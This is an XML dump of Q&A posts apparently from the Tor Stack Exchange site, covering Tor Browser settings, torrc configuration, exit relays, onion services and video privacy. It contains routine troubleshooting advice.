  <row Id="21613" PostTypeId="2" ParentId="21612" CreationDate="2020-10-04T05:14:55.017" Score="2" Body="&lt;p&gt;To be clear, this will not make all of your applications anonymous, and you will certainly leak information when applications either don't use the proxy, use it incorrectly, or send identifying information over the proxy. In addition, non-TLS HTTP traffic will be readable by the exit relay. If you're not concerned about anonymity...&lt;/p&gt;&#xA;&lt;p&gt;Tor only provides a CONNECT proxy and not a GET proxy. This means that you can only make HTTPS connections through Tor's proxy. If you want a GET proxy to make HTTP requests (without TLS), you will need to add another proxy in front of Tor that will act as an HTTP proxy, but forward requests to Tor's SOCKS proxy.&lt;/p&gt;&#xA;&lt;p&gt;I don't know of any Windows applications to do this, but you could look into running &lt;a href=&quot;http://www.delegate.org/delegate/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DeleGate&lt;/a&gt; (seems to no longer be maintained) using Cygwin, &lt;a href=&quot;https://www.irif.fr/%7Ejch//software/polipo/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Polipo&lt;/a&gt; (also unmaintained), &lt;a href=&quot;https://www.privoxy.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Privoxy&lt;/a&gt;, or some person's &lt;a href=&quot;https://www.npmjs.com/package/http-proxy-to-socks&quot; rel=&quot;nofollow noreferrer&quot;&gt;http-proxy-to-socks&lt;/a&gt; nodejs tool. I also see various other scripts around the internet that claim to do this. If you're familiar with Python, it would probably not be difficult to write one if you cannot find a better option.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-04T05:14:55.017" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21615" PostTypeId="2" ParentId="15573" CreationDate="2020-10-04T21:24:20.760" Score="1" Body="&lt;p&gt;OLD question BUT it drove me a little crazy until I worked it out.&lt;/p&gt;&#xA;&lt;p&gt;Windows firewall doesn't like &lt;em&gt;wildcard paths&lt;/em&gt; such as '%appdata%\[filename]'.&lt;/p&gt;&#xA;&lt;p&gt;So move the &lt;strong&gt;TOR browser&lt;/strong&gt; folder (that default installs onto the desktop) on a SSD/HDD top level, i.e. 'C:\tor browser\'.&lt;/p&gt;&#xA;&lt;p&gt;Finally Make outgoing firewall rules for Tor.exe, Firefox.exe and obfs4proxy.exe (if you are using this bridge); no incoming rules.&lt;/p&gt;&#xA;&lt;p&gt;This worked for me, I may have allowed too much so if you find a more streamline approach I'll check back to see if anyone posted.&lt;/p&gt;&#xA;&lt;p&gt;IF YOU WORK THINGS OUT: POST THEM. Even to old comments :)&lt;/p&gt;&#xA;" OwnerUserId="30998" LastActivityDate="2020-10-04T21:24:20.760" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21616" PostTypeId="1" CreationDate="2020-10-04T21:41:31.810" Score="0" ViewCount="167" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aqyA1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aqyA1.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NwpVs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NwpVs.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;..............................&lt;/p&gt;&#xA;" OwnerUserId="31000" LastActivityDate="2020-10-04T21:41:31.810" Title="Tor detection, how is it done, can you get around it?" Tags="|anonymity|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21617" PostTypeId="2" ParentId="8844" CreationDate="2020-10-05T18:34:13.903" Score="1" Body="&lt;p&gt;One-liner without modules:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;`(echo authenticate \\&amp;quot;\\&amp;quot;; echo SIGNAL NEWNYM; echo QUIT) | nc localhost 9051`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31005" LastActivityDate="2020-10-05T18:34:13.903" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21618" PostTypeId="1" CreationDate="2020-10-05T21:39:42.447" Score="0" ViewCount="92" Body="&lt;p&gt;The Tor documentation suggests not to host an exit relay on your home network (or at least if it's your only  connection) because all your local traffic will be viewed as coming from Tor as well, and some websites will block it.&#xA;Above are all outbound traffics. My question is that is it ok to host other services on a Tor exit relay? Will inbound traffic cause any problem? Tor exit relay info are all public anyway so it shouldn't cause any anonymity issues to my  relay's user right?&lt;/p&gt;&#xA;" OwnerUserId="30092" LastEditorUserId="30092" LastEditDate="2020-10-06T22:48:46.433" LastActivityDate="2021-04-06T07:08:00.777" Title="Is it ok to run other services on an Exit relay?" Tags="|exit-relays|traffic-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21619" PostTypeId="2" ParentId="21538" CreationDate="2020-10-06T01:56:27.070" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I need to configure my Tor to exit US&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For Tor Browser version 9 or 10, your configuration is correct. It can be on either two lines or on one line. This does not matter. Assuming the spacing is appropriate. Assuming this configuration on two lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {us}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Thanks for uploading your video. In your case to resolve your challenge I suggest those steps below.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Exit Tor Browser. Including all its window(s).&lt;/li&gt;&#xA;&lt;li&gt;Exit text editor. Including all its window(s).&lt;/li&gt;&#xA;&lt;li&gt;Double check that both the Tor Browser and the text editor are fully closed. Otherwise, if they are open, it's risky that your edit below will be lost, overwritten, or ignored. Because in some case some software change this file without notifying you.&lt;/li&gt;&#xA;&lt;li&gt;Also before editing the &amp;quot;torrc&amp;quot; configuration text file, double check that your text editor is in UTF-8 mode only. No other mode. Otherwise it's risky that the text editor will add invisible text symbols or brake lines without notifying you. In turn, those risk to interfere with your Tor Browser configuration.&lt;/li&gt;&#xA;&lt;li&gt;Open the text editor with appropriate permissions to edit the file &amp;quot;torrc&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Using the text editor, edit the &amp;quot;torrc&amp;quot; file. Like you successfully did above.&lt;/li&gt;&#xA;&lt;li&gt;Close the text editor. Including all its window(s).&lt;/li&gt;&#xA;&lt;li&gt;Open TorBrowser&lt;/li&gt;&#xA;&lt;li&gt;Test&lt;/li&gt;&#xA;&lt;li&gt;Exit TorBrowser&lt;/li&gt;&#xA;&lt;li&gt;Using the text editor, open the &amp;quot;torrc&amp;quot; file. Are you edits still there? If yes, your configuration was successful. Done. Enjoy :)&lt;/li&gt;&#xA;&lt;li&gt;If the above somehow does not work. Try again a second time all the exact same steps above. It's unlikely you will need to repeat those more than twice.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="31006" LastEditorUserId="31006" LastEditDate="2020-10-06T02:11:43.633" LastActivityDate="2020-10-06T02:11:43.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21621" PostTypeId="2" ParentId="21618" CreationDate="2020-10-06T17:17:30.253" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;The Tor documentation suggests not to host an exit relay on your home&#xA;network (or at least if it's byour only connection) because all your&#xA;local traffic will be viewed as coming from Tor as well, and some&#xA;websites will block it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Actually, it's much more than that. I suggest that you read &lt;a href=&quot;https://blog.torproject.org/tips-running-exit-node&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tips for Running an Exit Node&lt;/a&gt; before starting to run an exit node.&lt;/p&gt;&#xA;&lt;p&gt;It probably wouldn't hurt to run a web server, ssh, or anything like that. However, that IP could start getting blacklisted. I would suggest running any extra services on a separate machine or at least leasing a second IP address for that machine and configure those services to only use it and not the IP that the exit node is using.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2020-10-06T17:17:30.253" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21623" PostTypeId="1" CreationDate="2020-10-08T14:43:20.763" Score="1" ViewCount="8362" Body="&lt;p&gt;i know tails purpose is different but for usb live session i cant find anything better and simple than tails. is there anyway to get BitTorrent client in it like transmission and i don't mind compromising anonymity, i just use it like any other os&lt;/p&gt;&#xA;" OwnerUserId="31017" LastActivityDate="2021-12-29T04:07:15.563" Title="how to get BitTorrent client in tails os" Tags="|tails|bittorrent|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21624" PostTypeId="1" CreationDate="2020-10-08T16:12:29.053" Score="0" ViewCount="1030" Body="&lt;p&gt;I have a fully functional tor hidden service with his v3 url, created with stem and the controller class. The server is redirecting the traffic into a local tcp server running on port 5000 created with &lt;code&gt;socket&lt;/code&gt;. But now I want to connect to this hidden service using python. So I tried &lt;code&gt;socks&lt;/code&gt; with SOCKS5 proxies, no way of making it work. I also tried the &lt;code&gt;torpy&lt;/code&gt; library with the example provided on the offical doc but, again, no way to make it works:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from torpy import TorClient&#xA;&#xA;url = 'myv3torurl.onion'&#xA;&#xA;tor = TorClient()&#xA;with tor.create_circuit() as circuit:&#xA;    print('circuit done')&#xA;    with circuit.create_stream(('http://' + url, 5000)) as client:&#xA;        print('sending')&#xA;        client.send(b'yeah yeah im there')&#xA;        print(client.recv(1024))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also tried changing the url adding http:// or https://, or tried to change the port with 80, 9050 or 9051. The &lt;code&gt;torpy&lt;/code&gt; logs are always the same and you can find them &lt;a href=&quot;https://pastebin.com/P8egAP1p&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;At this point I do not really know what to try. I just want a tcp connection hosted by the onion website. And by the way, I'm sure it's not a problem of the server because if I try to copy and paste the url on the tor browser it is fully reachable. Thank you for any help.&lt;/p&gt;&#xA;" OwnerUserId="31020" LastActivityDate="2022-01-05T22:02:15.187" Title="Cannot connect to my tcp tor hidden service in Python" Tags="|python|stem|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21625" PostTypeId="1" CreationDate="2020-10-09T00:11:58.427" Score="0" ViewCount="594" Body="&lt;p&gt;NordVPN uses a TAP adapter, and Comodo Firewall allows you to create rules that only allows traffic originating from the MAC address of a TAP adapter.&lt;/p&gt;&#xA;&lt;p&gt;I don't see any way to configure Comodo to ensure the Tor connections go through the NordVPN, as localhost traffic doesn't use any TAP adapters.&lt;/p&gt;&#xA;&lt;p&gt;A solution I see it to move the Tor addresses from localhost to 10.&lt;em&gt;.&lt;/em&gt;.*  (Assigned IP address or gateway.)&lt;/p&gt;&#xA;&lt;p&gt;How do I accomplish that? Or us there another solution?&lt;/p&gt;&#xA;&lt;p&gt;I tried setting this in torrc&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 10.*.*.*:9150  (also tried 0.0.0.0:9150)&#xA;SocksListenAddress 10.*.*.*:9150&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I start TorBrowser Comodo still asks if I want to allow a connection from tor.exe to &lt;code&gt;127.0.0.1:9150&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I also tried changing this in TorBrowser, about:config&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;extensions.torlauncher.control_host     127.0.0.1  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to &lt;code&gt;10.*.*.*.*&lt;/code&gt;  (My local IP address), but I get the exact same message from Comodo when I start TorBroswer (? allow tor.exe -&amp;gt; 127.0.0.1:9150)&lt;/p&gt;&#xA;&lt;p&gt;This last thing also broke TorBrowser, which then refused to start. I copied the folder from a backup to restore it.&lt;/p&gt;&#xA;" OwnerUserId="31022" LastEditorUserId="31022" LastEditDate="2020-10-09T15:27:12.260" LastActivityDate="2020-10-09T15:27:12.260" Title="How to configure Tor/TorBrowser to NOT use localhost?" Tags="|tor-browser-bundle|configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="21626" PostTypeId="2" ParentId="21555" CreationDate="2020-10-09T07:58:07.360" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;I found if I do this then go to old.reddit.com it works much better. If you don't&#xA;change the about:config settings Tor won't let you connect to old.reddit.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I cannot reproduce this. The old reddit layout (&lt;a href=&quot;https://old.reddit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://old.reddit.com/&lt;/a&gt;) works just fine for me without any tweaks whatsoever.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is it okay to set the Security setting to Safest then change the about:config settings &amp;gt; for javascript.enabled to True and allow scripts for certain websites like&#xA;Stackexchange and Reddit?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Normally, it is not recommended to make any changes to the plugins/'about:config' tweaks, etc. But I would like to point you to these articles which cover the issues with &lt;a href=&quot;https://tb-manual.torproject.org/plugins/&quot; rel=&quot;nofollow noreferrer&quot;&gt;javascript&lt;/a&gt; and &lt;a href=&quot;https://tb-manual.torproject.org/security-settings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;security settings&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2020-10-09T07:58:07.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21627" PostTypeId="2" ParentId="20775" CreationDate="2020-10-09T09:32:13.643" Score="0" Body="&lt;p&gt;Tor is a network of virtual tunnels that allows you to improve your privacy and security on the Internet. Tor works by sending your traffic through three random servers (also known as relays) in the Tor network. The last relay in the circuit (the “exit relay”) then sends the traffic out onto the public Internet. So, the website can only see the exit relay. You can refer here for more information on this: &lt;a href=&quot;https://tb-manual.torproject.org/about/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/about/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Do I need to change anything in Tor's settings in order to hide my location?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is highly recommended to &lt;strong&gt;NOT&lt;/strong&gt; tweak any of the default settings in order to prevent fingerprinting. Although you might change the &lt;a href=&quot;https://tb-manual.torproject.org/security-settings/&quot; rel=&quot;nofollow noreferrer&quot;&gt;security settings&lt;/a&gt; as per your use case.&lt;/p&gt;&#xA;" OwnerUserId="31025" LastActivityDate="2020-10-09T09:32:13.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21628" PostTypeId="2" ParentId="21623" CreationDate="2020-10-09T12:57:13.203" Score="0" Body="&lt;p&gt;Welcome jack.&lt;/p&gt;&#xA;&lt;p&gt;You will need to install a additional software, a VPN one whose allows torrent applications. No more to say, just paid one will allow you to use applications that uses torrent protocol. To doesn't allow torrent by two reasons: they are such bandwidth consuming and the second is that tor uses only complete TCPs connections, while torrent protocol uses UDP a lot, mainly to find peers/nodes&lt;/p&gt;&#xA;" OwnerUserId="31031" LastActivityDate="2020-10-09T12:57:13.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21629" PostTypeId="2" ParentId="21624" CreationDate="2020-10-09T13:26:10.947" Score="0" Body="&lt;p&gt;welcome.&lt;/p&gt;&#xA;&lt;p&gt;By the message in line 20 of the log:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;20. Exception: Can't extend to hidden service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think your tor daemon is not accepting connections coming to it.&#xA;Did you created Hidden services in your &lt;code&gt;torrc&lt;/code&gt; server machine?&lt;/p&gt;&#xA;&lt;p&gt;Since I'm a new user and I need 50 messages to be able to post a comment, I will use this &lt;code&gt;Answer&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;For every port you want your tor to accept, you need to create a hidden service. Add these lines to you &lt;code&gt;torrc&lt;/code&gt; tor configuration file on the server that is hosting the tor daemon:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\Tor\Data\Tor\os-ssh&#xA;HiddenServicePort 22 127.0.0.1:22&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change the path to adequate to your system, the ports to the ports you are currently using, and the name &amp;quot;os-ssh&amp;quot; to whatever you want. You can opt to maintain the prefix &amp;quot;os-&amp;quot; since I think it is the most default one.&lt;/p&gt;&#xA;&lt;p&gt;Nevertheless to say, you can add several hidden services, just copy and past those two lines and edit as you wish.&lt;/p&gt;&#xA;&lt;p&gt;If you are using the tor service as a proxy server, for others connect through it or even your application, you need to add:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 192.168.0.5:9100&#xA;SocksPolicy accept 192.168.0.0/24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here change the ip to the ip of your computer that is running tor and change the default port from &lt;code&gt;9050&lt;/code&gt; to &lt;code&gt;9100&lt;/code&gt;, to avoid conflicts, mainly if you also use Tor Browser (as I use). The &lt;code&gt;SocksPolicy&lt;/code&gt; you can configure to accept all incoming connections from your local network trying to user this tor as a proxy server, instead of have to install the tor application on every computer. You can also change the ip to &lt;code&gt;*&lt;/code&gt; (&lt;code&gt;SocksPolicy accept *&lt;/code&gt;), meaning you will accept all incoming connections to serve as a proxy. You can also read more about the &lt;code&gt;reject&lt;/code&gt; options, instead of &lt;code&gt;accept&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Sorry by the awful text formatting, this is ones of my first posts here.&lt;/p&gt;&#xA;&lt;p&gt;P.S. You can also create your application normally as you as working with ipv4 address, and using some proxy software like &lt;code&gt;torsocks&lt;/code&gt; (linux) or &lt;code&gt;Proxifier&lt;/code&gt; (windows). They you resolve the onions addresses, since they will use the proxy to resolve DNS(in Proxifier, if you check a box containing such option). Anyway, if you use linux, preffer seriously &lt;code&gt;torsocks&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31031" LastEditorUserId="31031" LastEditDate="2020-10-09T13:31:45.713" LastActivityDate="2020-10-09T13:31:45.713" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21633" PostTypeId="1" AcceptedAnswerId="21634" CreationDate="2020-10-09T19:11:46.513" Score="0" ViewCount="75" Body="&lt;p&gt;Im having problem when opening TOR, as I open it it says &amp;quot;Connected to bridge&amp;quot; I believe its having problems cause I tried to use TOR with a proxy in the past (if I remember correctly). It is the latest version that Im aware of.&lt;a href=&quot;https://i.stack.imgur.com/8OmWU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8OmWU.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pjhsk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pjhsk.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VVTmf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VVTmf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nhdtQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nhdtQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31036" LastEditorUserId="31036" LastEditDate="2020-10-09T21:39:17.117" LastActivityDate="2020-10-09T23:32:07.900" Title="Problems opening TOR" Tags="|bridge|proxy|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21634" PostTypeId="2" ParentId="21633" CreationDate="2020-10-09T21:00:09.510" Score="0" Body="&lt;p&gt;Have you tried not using a bridge, or using a different bridge? It's possible that the bridge you were previously using is no longer available.&lt;/p&gt;&#xA;&lt;p&gt;Without knowing what custom modifications you made to the browser to make it use a proxy, there is little information for us to help you get it working. If that doesn't help, download a new copy of Tor Browser and try starting it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The solution ended up being to delete the application data manually, which on MacOS requires following the steps at &lt;a href=&quot;https://tb-manual.torproject.org/uninstalling/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/uninstalling/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastEditorUserId="24966" LastEditDate="2020-10-09T23:32:07.900" LastActivityDate="2020-10-09T23:32:07.900" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21635" PostTypeId="2" ParentId="20775" CreationDate="2020-10-09T22:08:35.580" Score="0" Body="&lt;p&gt;The answer give by Championquizzer is really complete but I'd like to add something, apart from now tweaking the default settings if you don't know what you are doing, you should enable the &amp;quot;Safest&amp;quot; mode in settings, this will block any javascript which I really recommend, but keep in mind some pages may not work without it.&lt;/p&gt;&#xA;" OwnerUserId="31036" LastActivityDate="2020-10-09T22:08:35.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21636" PostTypeId="1" AcceptedAnswerId="21708" CreationDate="2020-10-10T01:47:27.077" Score="0" ViewCount="769" Body="&lt;p&gt;If this question doesn't belong here, I apologize.&lt;/p&gt;&#xA;&lt;p&gt;I've seen a lot of questions about setting up and accessing an IRC server behind hidden services, and this obviously as a 'standalone' server(and well documented).  Has anyone tried setting up the communication between IRC nodes over Tor?  I've tried using torsocks when launching ircd-hybrid but that doesn't work (probably related to the change in ownership at startup).  Has anyone experimented with this?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="30852" LastActivityDate="2021-04-15T14:28:48.053" Title="IRC Server-to-Server over Tor" Tags="|torsocks|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21637" PostTypeId="2" ParentId="10127" CreationDate="2020-10-10T01:59:40.770" Score="0" Body="&lt;p&gt;If you are using Tor in order to stay anonymous, installing new add-ons is highly discouraged as they can compromise your privacy and security and/or might break the functionality of the browser. As such, there is no official support for these types of configurations. See recommendations &lt;a href=&quot;https://support.torproject.org/faq/#faq-3&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://tb-manual.torproject.org/plugins/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Installing new add-ons may affect Tor Browser in unforeseen ways and potentially make your Tor Browser fingerprint unique. If your copy of Tor Browser has a unique fingerprint, your browsing activities can be deanonymized and tracked even though you are using Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;Basically, each browser's settings and features create what is called a &amp;quot;browser fingerprint&amp;quot;. Most browsers inadvertently create a unique fingerprint for each user which can be tracked across the internet. Tor Browser is specifically engineered to have a nearly identical (we're not perfect!) fingerprint across its users. This means each Tor Browser user looks like every other Tor Browser user, making it difficult to track any individual user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31028" LastActivityDate="2020-10-10T01:59:40.770" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21638" PostTypeId="2" ParentId="21463" CreationDate="2020-10-10T02:12:59.860" Score="0" Body="&lt;p&gt;You can use both browsers simultaneously without compromising the security or anonymity of your usage of Tor Browser. The two browsers do not affect each other, and store their configuration information in independent locations. Do keep in mind, however, that you might potentially accidentally use the non-private browser to access something that you intended to access using Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, as other answers have &lt;a href=&quot;https://security.stackexchange.com/a/38450&quot;&gt;pointed out&lt;/a&gt;, there may be certain risks to your privacy in the form of cookie extraction and timing-based attacks.&lt;/p&gt;&#xA;" OwnerUserId="31028" LastActivityDate="2020-10-10T02:12:59.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21639" PostTypeId="2" ParentId="21636" CreationDate="2020-10-10T17:12:09.893" Score="0" Body="&lt;p&gt;While I haven't set up an IRC server before, I think it should be possible, but it would be a standalone service. I don't think it could be connected to DALnet, Freenode, etc. because those services wouldn't have a way to interface with you since they wouldn't understand how to connect to Tor and probably wouldn't allow that anyway.&lt;/p&gt;&#xA;&lt;p&gt;Using this &lt;a href=&quot;https://ubuntu.com/tutorials/irc-server#6-server-configuration&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorial&lt;/a&gt;, you can see that this server is set up on port 6697. You would create an onion service on port 6697 like any other onion service.&lt;/p&gt;&#xA;&lt;p&gt;I've created all kinds of onion services just to see if I could from telnet to gopher. They all work on pretty much the same principal. The only thing that won't work are services that rely on UDP (like Mosh) instead of TCP.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastEditorUserId="23661" LastEditDate="2020-10-11T06:48:58.437" LastActivityDate="2020-10-11T06:48:58.437" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21640" PostTypeId="1" CreationDate="2020-10-10T17:19:41.923" Score="0" ViewCount="4200" Body="&lt;p&gt;In some security guides listed that when you watching videos via Tor your real IP gets or might be disclosed.&#xA;One of them says &amp;quot;You should turn off &lt;em&gt;&lt;strong&gt;media.play-stand-alone&lt;/strong&gt;&lt;/em&gt; and &lt;em&gt;&lt;strong&gt;peerconnection.enabled&lt;/strong&gt;&lt;/em&gt; to prevent leaks&amp;quot; or &amp;quot;also you should never use/watch html5 mp3 or another video formats because they use scripts/methods which can bypass Tor protection and disclose your IP directly&amp;quot; or something like that.&#xA;Is this words worth attention or just regular useless tips? Does videos from casual sites are safe to view via Tor without privacy issues?&lt;/p&gt;&#xA;" OwnerUserId="31042" LastEditorUserId="31042" LastEditDate="2020-10-10T17:24:42.420" LastActivityDate="2022-11-30T20:00:31.230" Title="Viewing videos using Tor Browser &amp; anonimity" Tags="|security|browsers|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21641" PostTypeId="2" ParentId="21640" CreationDate="2020-10-10T22:27:28.393" Score="1" Body="&lt;p&gt;The Tor Browser developers have designed the Tor Browser to not leak your identity in its default configuration, and you should not need to change any settings. If there are features that can reveal your IP address with Tor's default settings, you should inform the developers. The option &lt;code&gt;media.peerconnection.enabled&lt;/code&gt; that you mentioned is already disabled in Tor Browser, and I don't see a privacy reason to disable &lt;code&gt;media.play-stand-alone&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I also don't see any reason why you should avoid audio or video in the Tor Browser from a privacy perspective. If there is a reputable source that states this, please add it to your question. You should not play media that requires you to install additional add-ons or applications, such as Flash Player.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-10T22:27:28.393" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21642" PostTypeId="1" CreationDate="2020-10-11T01:03:33.910" Score="0" ViewCount="113" Body="&lt;p&gt;I was browsing on TOR the other day and watching videos on TOR. Normally from my experience, videos load very slow on TOR but this specific website was loading my videos at a fast speed. It raised a few red flags because I am scared that I might've stumbled upon a honeypot setup by a hacker. I did not give out any personal information or create an account. I browsed the website as a guest. I am a bit scared that by clicking and viewing the video, the video might've deployed a malware onto my computer and that the hidden service itself could've leaked my IP address. Sorry if I sound like an amateur, I am sort of new to using TOR so I am a bit paranoid. FYI, the contents of the website are legal.&lt;/p&gt;&#xA;" OwnerUserId="31045" LastActivityDate="2024-02-15T20:18:02.623" Title="Would video buffing speed mean anything when using TOR?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21643" PostTypeId="2" ParentId="21642" CreationDate="2020-10-11T03:18:18.067" Score="3" Body="&lt;p&gt;Relays in the Tor network have varying CPU and networking performance. This means that the throughput of a circuit depends on the performance of the relays in the circuit. Some circuits will be slower and others will be faster. Having a video that loads quickly does not indicate any kind of attack, and you just may be accessing the website over a circuit using fast relays.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2020-10-11T03:18:18.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21645" PostTypeId="1" CreationDate="2020-10-11T22:42:47.183" Score="0" ViewCount="6896" Body="&lt;p&gt;What affects the speed in which videos load when using hidden services on TOR? I encountered websites where videos aren't playable because they don't load or buffer and websites that have videos that are playable. I am new to using TOR and would like some insight on video streaming for TOR. Is it due to my internet speed? Is it even safe to be watching videos on TOR?&lt;/p&gt;&#xA;" OwnerUserId="31045" LastActivityDate="2024-01-16T11:06:15.767" Title="Watching videos on TOR?" Tags="|onion-services|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
